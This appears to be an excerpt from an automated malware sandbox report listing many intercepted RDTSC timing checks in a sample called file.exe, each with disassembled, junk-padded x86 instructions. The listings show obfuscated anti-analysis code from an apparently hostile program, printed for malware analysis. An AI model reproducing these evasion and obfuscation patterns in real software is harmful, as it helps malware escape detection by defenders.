Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48E0238 second address: 48E02BF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push 20214362h 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007F39B537D7EAh 0x00000014 adc ax, 4758h 0x00000019 jmp 00007F39B537D7EBh 0x0000001e popfd 0x0000001f push eax 0x00000020 mov esi, ebx 0x00000022 pop edi 0x00000023 popad 0x00000024 add dword ptr [esp], 558D5AE6h 0x0000002b pushad 0x0000002c mov bx, si 0x0000002f mov ax, 3EFFh 0x00000033 popad 0x00000034 push 1B4E7865h 0x00000039 pushad 0x0000003a push edi 0x0000003b pushad 0x0000003c popad 0x0000003d pop ecx 0x0000003e movsx ebx, ax 0x00000041 popad 0x00000042 xor dword ptr [esp], 6EE75315h 0x00000049 push eax 0x0000004a push edx 0x0000004b pushad 0x0000004c pushfd 0x0000004d jmp 00007F39B537D7F7h 0x00000052 jmp 00007F39B537D7F3h 0x00000057 popfd 0x00000058 mov di, si 0x0000005b popad 0x0000005c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48E02BF second address: 48E0322 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F39B477F4E5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr fs:[00000000h] 0x0000000f pushad 0x00000010 jmp 00007F39B477F4DCh 0x00000015 popad 0x00000016 nop 0x00000017 pushad 0x00000018 mov di, si 0x0000001b pushad 0x0000001c mov eax, 034061ABh 0x00000021 call 00007F39B477F4E0h 0x00000026 pop eax 0x00000027 popad 0x00000028 popad 0x00000029 push eax 0x0000002a jmp 00007F39B477F4E0h 0x0000002f nop 0x00000030 push eax 0x00000031 push edx 0x00000032 push eax 0x00000033 push edx 0x00000034 pushad 0x00000035 popad 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48E0322 second address: 48E0326 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48E0326 second address: 48E032C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48E032C second address: 48E0332 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48E0332 second address: 48E0336 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48E0336 second address: 48E035C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 sub esp, 18h 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F39B537D7F9h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48E035C second address: 48E0362 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48E0362 second address: 48E0366 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48E0366 second address: 48E036A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48E036A second address: 48E0397 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F39B537D7F4h 0x0000000e mov dword ptr [esp], ebx 0x00000011 pushad 0x00000012 mov dh, ch 0x00000014 mov ecx, ebx 0x00000016 popad 0x00000017 push esp 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b movzx esi, dx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48E0397 second address: 48E03DE instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F39B477F4E3h 0x00000008 or ah, FFFFFFCEh 0x0000000b jmp 00007F39B477F4E9h 0x00000010 popfd 0x00000011 pop edx 0x00000012 pop eax 0x00000013 mov dx, cx 0x00000016 popad 0x00000017 mov dword ptr [esp], esi 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d push edx 0x0000001e pop ecx 0x0000001f mov ebx, 496BB206h 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48E03DE second address: 48E0410 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F39B537D7ECh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, edi 0x0000000a jmp 00007F39B537D7F0h 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F39B537D7EEh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48E0410 second address: 48E0426 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F39B477F4DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, edi 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48E0426 second address: 48E042A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48E042A second address: 48E0445 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F39B477F4E7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48E0445 second address: 48E04BE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F39B537D7F9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [75AF4538h] 0x0000000e jmp 00007F39B537D7EEh 0x00000013 xor dword ptr [ebp-08h], eax 0x00000016 jmp 00007F39B537D7F0h 0x0000001b xor eax, ebp 0x0000001d jmp 00007F39B537D7F1h 0x00000022 nop 0x00000023 jmp 00007F39B537D7EEh 0x00000028 push eax 0x00000029 jmp 00007F39B537D7EBh 0x0000002e nop 0x0000002f push eax 0x00000030 push edx 0x00000031 pushad 0x00000032 mov ecx, edx 0x00000034 push eax 0x00000035 push edx 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48E04BE second address: 48E04C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48E04C3 second address: 48E0522 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F39B537D7EAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 lea eax, dword ptr [ebp-10h] 0x0000000c pushad 0x0000000d pushad 0x0000000e mov bl, ch 0x00000010 mov ch, bl 0x00000012 popad 0x00000013 mov esi, 5AF2A901h 0x00000018 popad 0x00000019 mov dword ptr fs:[00000000h], eax 0x0000001f pushad 0x00000020 push esi 0x00000021 pop esi 0x00000022 jmp 00007F39B537D7F5h 0x00000027 popad 0x00000028 mov dword ptr [ebp-18h], esp 0x0000002b jmp 00007F39B537D7EEh 0x00000030 mov eax, dword ptr fs:[00000018h] 0x00000036 push eax 0x00000037 push edx 0x00000038 pushad 0x00000039 mov edi, 2C9A8290h 0x0000003e push edx 0x0000003f pop eax 0x00000040 popad 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48E0522 second address: 48E0527 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48E0527 second address: 48E057C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov ecx, 2BA285FDh 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov ecx, dword ptr [eax+00000FDCh] 0x00000012 jmp 00007F39B537D7F8h 0x00000017 test ecx, ecx 0x00000019 jmp 00007F39B537D7F0h 0x0000001e jns 00007F39B537D841h 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 jmp 00007F39B537D7EDh 0x0000002c push eax 0x0000002d pop edi 0x0000002e popad 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48E057C second address: 48E0598 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F39B477F4E8h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48E0598 second address: 48E059C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48E059C second address: 48E05E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 add eax, ecx 0x0000000a pushad 0x0000000b mov ah, dl 0x0000000d call 00007F39B477F4E6h 0x00000012 mov dx, ax 0x00000015 pop ecx 0x00000016 popad 0x00000017 mov ecx, dword ptr [ebp+08h] 0x0000001a pushad 0x0000001b push eax 0x0000001c push edx 0x0000001d call 00007F39B477F4E9h 0x00000022 pop ecx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D03E3 second address: 48D03E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D03E7 second address: 48D03ED instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D03ED second address: 48D03F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D03F3 second address: 48D03F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D03F7 second address: 48D043C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov bx, D782h 0x00000010 pushfd 0x00000011 jmp 00007F39B537D7F3h 0x00000016 xor esi, 4B0D627Eh 0x0000001c jmp 00007F39B537D7F9h 0x00000021 popfd 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D043C second address: 48D048D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F39B477F4E1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007F39B477F4E3h 0x00000015 and si, BD3Eh 0x0000001a jmp 00007F39B477F4E9h 0x0000001f popfd 0x00000020 mov ch, E8h 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D048D second address: 48D0508 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F39B537D7EAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b jmp 00007F39B537D7F0h 0x00000010 sub esp, 2Ch 0x00000013 pushad 0x00000014 mov di, ax 0x00000017 jmp 00007F39B537D7EAh 0x0000001c popad 0x0000001d xchg eax, ebx 0x0000001e pushad 0x0000001f movzx esi, bx 0x00000022 mov dh, 3Ch 0x00000024 popad 0x00000025 push eax 0x00000026 pushad 0x00000027 mov dh, 33h 0x00000029 push eax 0x0000002a pushfd 0x0000002b jmp 00007F39B537D7F3h 0x00000030 and cx, AA0Eh 0x00000035 jmp 00007F39B537D7F9h 0x0000003a popfd 0x0000003b pop eax 0x0000003c popad 0x0000003d xchg eax, ebx 0x0000003e push eax 0x0000003f push edx 0x00000040 push eax 0x00000041 push edx 0x00000042 push eax 0x00000043 push edx 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D0508 second address: 48D050C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D050C second address: 48D0512 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D0512 second address: 48D0518 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D0518 second address: 48D051C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D051C second address: 48D053A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c call 00007F39B477F4E1h 0x00000011 pop eax 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D053A second address: 48D057A instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F39B537D7F1h 0x00000008 or ax, 8E56h 0x0000000d jmp 00007F39B537D7F1h 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 popad 0x00000016 mov dword ptr [esp], edi 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F39B537D7EDh 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D05DB second address: 48D05E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D05E1 second address: 48D0673 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebx, 00000000h 0x0000000d jmp 00007F39B537D7F4h 0x00000012 sub edi, edi 0x00000014 pushad 0x00000015 mov edi, 4B48BD12h 0x0000001a jmp 00007F39B537D7F3h 0x0000001f popad 0x00000020 inc ebx 0x00000021 pushad 0x00000022 movzx ecx, bx 0x00000025 mov eax, ebx 0x00000027 popad 0x00000028 test al, al 0x0000002a jmp 00007F39B537D7F3h 0x0000002f je 00007F39B537D9E2h 0x00000035 jmp 00007F39B537D7F6h 0x0000003a lea ecx, dword ptr [ebp-14h] 0x0000003d push eax 0x0000003e push edx 0x0000003f jmp 00007F39B537D7F7h 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D0673 second address: 48D0679 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D07D0 second address: 48D07DF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F39B537D7EBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D07DF second address: 48D07F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F39B477F4E4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D07F7 second address: 48D07FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D07FB second address: 48D0812 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 cmp dword ptr [ebp-14h], edi 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F39B477F4DAh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D0812 second address: 48D086D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F39B537D7EBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jne 00007F3A2654B460h 0x0000000f jmp 00007F39B537D7F6h 0x00000014 mov ebx, dword ptr [ebp+08h] 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a pushfd 0x0000001b jmp 00007F39B537D7EDh 0x00000020 adc esi, 1B74C9D6h 0x00000026 jmp 00007F39B537D7F1h 0x0000002b popfd 0x0000002c mov bx, cx 0x0000002f popad 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D086D second address: 48D0873 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D0873 second address: 48D0877 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D0877 second address: 48D08EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 lea eax, dword ptr [ebp-2Ch] 0x0000000b jmp 00007F39B477F4DBh 0x00000010 xchg eax, esi 0x00000011 jmp 00007F39B477F4E6h 0x00000016 push eax 0x00000017 pushad 0x00000018 pushfd 0x00000019 jmp 00007F39B477F4E1h 0x0000001e adc si, F746h 0x00000023 jmp 00007F39B477F4E1h 0x00000028 popfd 0x00000029 popad 0x0000002a xchg eax, esi 0x0000002b push eax 0x0000002c push edx 0x0000002d jmp 00007F39B477F4E8h 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D08EB second address: 48D08F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D08F1 second address: 48D08F5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D08F5 second address: 48D094E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esp 0x00000009 jmp 00007F39B537D7F6h 0x0000000e mov dword ptr [esp], eax 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 pushfd 0x00000015 jmp 00007F39B537D7EDh 0x0000001a add al, 00000066h 0x0000001d jmp 00007F39B537D7F1h 0x00000022 popfd 0x00000023 jmp 00007F39B537D7F0h 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D094E second address: 48D0991 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F39B477F4DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a jmp 00007F39B477F4E6h 0x0000000f push eax 0x00000010 pushad 0x00000011 call 00007F39B477F4E1h 0x00000016 mov ebx, eax 0x00000018 pop ecx 0x00000019 push eax 0x0000001a push edx 0x0000001b mov edx, 6237E8AEh 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D09F0 second address: 48D09F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D09F4 second address: 48D09F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D09F8 second address: 48D09FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D09FE second address: 48D0030 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 je 00007F3A2594D127h 0x0000000c xor eax, eax 0x0000000e jmp 00007F39B4758C0Ah 0x00000013 pop esi 0x00000014 pop edi 0x00000015 pop ebx 0x00000016 leave 0x00000017 retn 0004h 0x0000001a nop 0x0000001b cmp eax, 00000000h 0x0000001e setne cl 0x00000021 xor ebx, ebx 0x00000023 test cl, 00000001h 0x00000026 jne 00007F39B477F4D7h 0x00000028 jmp 00007F39B477F64Bh 0x0000002d call 00007F39B81F8775h 0x00000032 mov edi, edi 0x00000034 jmp 00007F39B477F4E1h 0x00000039 xchg eax, ebp 0x0000003a push eax 0x0000003b push edx 0x0000003c push eax 0x0000003d push edx 0x0000003e jmp 00007F39B477F4E8h 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D0030 second address: 48D0036 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D0036 second address: 48D0047 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F39B477F4DDh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D0047 second address: 48D0075 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F39B537D7ECh 0x0000000e xchg eax, ebp 0x0000000f jmp 00007F39B537D7F0h 0x00000014 mov ebp, esp 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D0075 second address: 48D0079 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D0079 second address: 48D007F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D007F second address: 48D00E9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F39B477F4E4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ecx 0x0000000a pushad 0x0000000b jmp 00007F39B477F4DEh 0x00000010 push eax 0x00000011 call 00007F39B477F4E1h 0x00000016 pop ecx 0x00000017 pop ebx 0x00000018 popad 0x00000019 push eax 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d pushad 0x0000001e popad 0x0000001f pushfd 0x00000020 jmp 00007F39B477F4E6h 0x00000025 and al, 00000038h 0x00000028 jmp 00007F39B477F4DBh 0x0000002d popfd 0x0000002e popad 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D0158 second address: 48D0178 instructions: 0x00000000 rdtsc 0x00000002 movsx ebx, si 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, 71BF69E9h 0x0000000c popad 0x0000000d leave 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F39B537D7EEh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D0178 second address: 48D017E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D017E second address: 48D018F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F39B537D7EDh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D018F second address: 48D0193 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D0EC9 second address: 48D0ECF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D0ECF second address: 48D0ED3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48E0061 second address: 48E00D0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F39B537D7EFh 0x00000009 add ecx, 56A5003Eh 0x0000000f jmp 00007F39B537D7F9h 0x00000014 popfd 0x00000015 mov ch, 0Fh 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a mov esi, 00000000h 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 mov edx, 43033538h 0x00000027 pushfd 0x00000028 jmp 00007F39B537D7F1h 0x0000002d xor ax, 8D26h 0x00000032 jmp 00007F39B537D7F1h 0x00000037 popfd 0x00000038 popad 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48F06FC second address: 48F0702 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48F0702 second address: 48F0706 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48F0706 second address: 48F07B3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esp 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007F39B477F4E4h 0x00000010 jmp 00007F39B477F4E5h 0x00000015 popfd 0x00000016 pushfd 0x00000017 jmp 00007F39B477F4E0h 0x0000001c jmp 00007F39B477F4E5h 0x00000021 popfd 0x00000022 popad 0x00000023 mov dword ptr [esp], ebp 0x00000026 jmp 00007F39B477F4DEh 0x0000002b mov ebp, esp 0x0000002d pushad 0x0000002e mov bh, ch 0x00000030 pushad 0x00000031 push edi 0x00000032 pop ecx 0x00000033 pushfd 0x00000034 jmp 00007F39B477F4E5h 0x00000039 or eax, 2F3B3D26h 0x0000003f jmp 00007F39B477F4E1h 0x00000044 popfd 0x00000045 popad 0x00000046 popad 0x00000047 xchg eax, esi 0x00000048 push eax 0x00000049 push edx 0x0000004a push eax 0x0000004b push edx 0x0000004c push eax 0x0000004d push edx 0x0000004e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48F07B3 second address: 48F07B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48F07B7 second address: 48F07CA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F39B477F4DFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
